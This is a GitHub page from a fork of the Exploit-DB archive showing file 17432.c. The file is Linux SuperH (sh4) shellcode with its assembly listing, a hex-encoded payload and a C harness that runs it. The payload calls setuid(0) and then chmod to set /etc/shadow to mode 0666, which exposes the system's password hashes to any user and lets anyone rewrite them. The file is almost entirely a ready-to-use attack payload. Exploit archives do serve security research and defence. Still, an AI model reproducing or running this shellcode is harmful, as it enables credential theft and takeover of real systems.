forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path17432.c
More file actions
executable file
·46 lines (43 loc) · 985 Bytes
/
Copy path17432.c
File metadata and controls
executable file
·46 lines (43 loc) · 985 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/*
** Title: Linux/SuperH - sh4 - setuid(0) - chmod("/etc/shadow", 0666) - exit(0) - 43 bytes
** Date: 2011-06-22
** Tested on: Debian-sh4 2.6.32-5-sh7751r
** Author: Jonathan Salwan - twitter: @jonathansalwan
**
** http://shell-storm.org
**
**
** seteuid:
** mov #23, r3
** xor r4, r4
** trapa #2
** chmod:
** mov #15, r3
** mova @(24, pc), r0
** mov r0, r4
** mov #87, r8
** mov #5, r9
** mul.l r8, r9
** sts macl, r5
** add #3, r5
** trapa #2
** exit:
** xor r3, r3
** mov #1, r3
** xor r4, r4
** trapa #2
** file:
** .string "/etc/shadow"
**
*/
#include <stdio.h>
#include <string.h>
char *SC = "\x17\xe3\x4a\x24\x02\xc3\x0f\xe3\x05\xc7\x03"
"\x64\x57\xe8\x05\xe9\x87\x09\x1a\x05\x03\x75"
"\x02\xc3\x3a\x23\x01\xe3\x4a\x24\x02\xc3\x2f"
"\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
}